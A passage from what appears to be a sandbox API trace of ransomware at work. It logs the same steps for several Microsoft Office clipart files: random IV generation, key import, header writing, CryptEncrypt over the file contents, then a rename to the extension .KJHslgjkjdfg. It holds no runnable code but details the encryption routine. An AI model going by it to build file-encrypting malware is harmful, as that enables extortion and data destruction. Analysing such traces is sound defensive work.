nNumberOfBytesToRead=0x45be, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x45be, lpOverlapped=0x0) returned 1 [0162.114] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x45c0, dwBufLen=0x45c0 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x45c0) returned 1 [0162.114] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0162.114] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x45c0, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x45c0, lpOverlapped=0x0) returned 1 [0162.115] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0162.115] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x4694, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0162.115] SetEndOfFile (hFile=0x114) returned 1 [0162.117] GetProcessHeap () returned 0x2a0000 [0162.118] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0162.118] GetProcessHeap () returned 0x2a0000 [0162.118] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0162.118] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099204.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099204.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099204.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099204.wmf.kjhslgjkjdfg")) returned 1 [0162.119] CloseHandle (hObject=0x114) returned 1 [0162.119] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbad71800, ftCreationTime.dwHighDateTime=0x1bd3246, ftLastAccessTime.dwLowDateTime=0x56321b30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbad71800, ftLastWriteTime.dwHighDateTime=0x1bd3246, nFileSizeHigh=0x0, nFileSizeLow=0x45be, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0099205.WMF", cAlternateFileName="")) returned 1 [0162.119] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099205.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099205.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0162.120] GetProcessHeap () returned 0x2a0000 [0162.120] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0162.120] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0162.120] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0162.120] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0x2, lpOverlapped=0x0) returned 1 [0162.123] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0162.123] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0162.123] GetProcessHeap () returned 0x2a0000 [0162.123] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0162.123] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0162.123] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0162.123] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0162.123] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0162.123] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0162.123] WriteFile (in: hFile=0x114, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0162.123] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0162.123] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0162.123] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0162.123] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0162.124] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0162.124] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x45be, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x45be, lpOverlapped=0x0) returned 1 [0162.125] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x45c0, dwBufLen=0x45c0 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x45c0) returned 1 [0162.125] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0162.125] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x45c0, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x45c0, lpOverlapped=0x0) returned 1 [0162.125] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0162.125] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x4694, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0162.125] SetEndOfFile (hFile=0x114) returned 1 [0162.128] GetProcessHeap () returned 0x2a0000 [0162.128] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0162.129] GetProcessHeap () returned 0x2a0000 [0162.129] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0162.129] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099205.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099205.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099205.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099205.wmf.kjhslgjkjdfg")) returned 1 [0162.130] CloseHandle (hObject=0x114) returned 1 [0162.130] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbd20ae00, ftCreationTime.dwHighDateTime=0x1bd732d, ftLastAccessTime.dwLowDateTime=0x56321b30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbd20ae00, ftLastWriteTime.dwHighDateTime=0x1bd732d, nFileSizeHigh=0x0, nFileSizeLow=0x133f8, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0101856.BMP", cAlternateFileName="")) returned 1 [0162.130] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101856.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0101856.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0162.133] GetProcessHeap () returned 0x2a0000 [0162.133] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0162.133] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0162.133] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0162.133] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0162.138] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0162.138] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0162.138] GetProcessHeap () returned 0x2a0000 [0162.138] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0162.139] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0162.139] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0162.139] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0162.139] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0162.139] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0162.139] WriteFile (in: hFile=0x114, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0162.139] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0162.139] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0162.139] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0162.139] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0162.139] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0162.139] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x133f8, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x133f8, lpOverlapped=0x0) returned 1 [0162.141] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x13400, dwBufLen=0x13400 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x13400) returned 1 [0162.142] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0162.142] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x13400, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x13400, lpOverlapped=0x0) returned 1 [0162.142] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0162.142] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x134d4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0162.142] SetEndOfFile (hFile=0x114) returned 1 [0162.145] GetProcessHeap () returned 0x2a0000 [0162.145] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0162.145] GetProcessHeap () returned 0x2a0000 [0162.145] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0162.145] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101856.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0101856.bmp"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101856.BMP.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0101856.bmp.kjhslgjkjdfg")) returned 1 [0162.146] CloseHandle (hObject=0x114) returned 1 [0162.146] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbf830800, ftCreationTime.dwHighDateTime=0x1bd732d, ftLastAccessTime.dwLowDateTime=0x65df6970, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbf830800, ftLastWriteTime.dwHighDateTime=0x1bd732d, nFileSizeHigh=0x0, nFileSizeLow=0x7db8, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0101857.BMP", cAlternateFileName="")) returned 1 [0162.146] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101857.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0101857.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0162.147] GetProcessHeap () returned 0x2a0000 [0162.147] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0162.147] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0162.147] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0162.147] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0162.151] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0162.151] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0162.151] GetProcessHeap () returned 0x2a0000 [0162.151] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0162.151] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0162.151] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0162.151] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0162.151] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0162.151] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0162.151] WriteFile (in: hFile=0x114, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0162.151] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0162.152] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0162.152] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0162.152] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0162.152] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0162.152] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x7db8, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x7db8, lpOverlapped=0x0) returned 1 [0162.153] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x7dc0, dwBufLen=0x7dc0 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x7dc0) returned 1 [0162.153] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0162.153] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x7dc0, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x7dc0, lpOverlapped=0x0) returned 1 [0162.153] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0162.153] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x7e94, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0162.153] SetEndOfFile (hFile=0x114) returned 1 [0162.156] GetProcessHeap () returned 0x2a0000 [0162.156] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0162.156] GetProcessHeap () returned 0x2a0000 [0162.156] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0162.156] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101857.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0101857.bmp"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101857.BMP.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0101857.bmp.kjhslgjkjdfg")) returned 1 [0162.159] CloseHandle (hObject=0x114) returned 1 [0162.159] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc6aa1600, ftCreationTime.dwHighDateTime=0x1bd732d, ftLastAccessTime.dwLowDateTime=0x65df6970, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc6aa1600, ftLastWriteTime.dwHighDateTime=0x1bd732d, nFileSizeHigh=0x0, nFileSizeLow=0x7db8, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0101858.BMP", cAlternateFileName="")) returned 1 [0162.159] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101858.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0101858.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0162.160] GetProcessHeap () returned 0x2a0000 [0162.160] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0162.160] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0162.160] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0162.160] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0162.162] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0162.162] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0162.162] GetProcessHeap () returned 0x2a0000 [0162.162] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0162.162] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0162.162] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0162.162] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0162.162] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0162.162] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0162.162] WriteFile (in: hFile=0x114, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0162.162] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0162.163] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0162.163] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0162.163] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0162.163] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0162.163] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x7db8, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x7db8, lpOverlapped=0x0) returned 1 [0162.164] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x7dc0, dwBufLen=0x7dc0 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x7dc0) returned 1 [0162.164] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0162.164] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x7dc0, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x7dc0, lpOverlapped=0x0) returned 1 [0162.165] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0162.165] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x7e94, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0162.165] SetEndOfFile (hFile=0x114) returned 1 [0162.168] GetProcessHeap () returned 0x2a0000 [0162.168] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0162.168] GetProcessHeap () returned 0x2a0000 [0162.168] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0162.168] MoveFileW 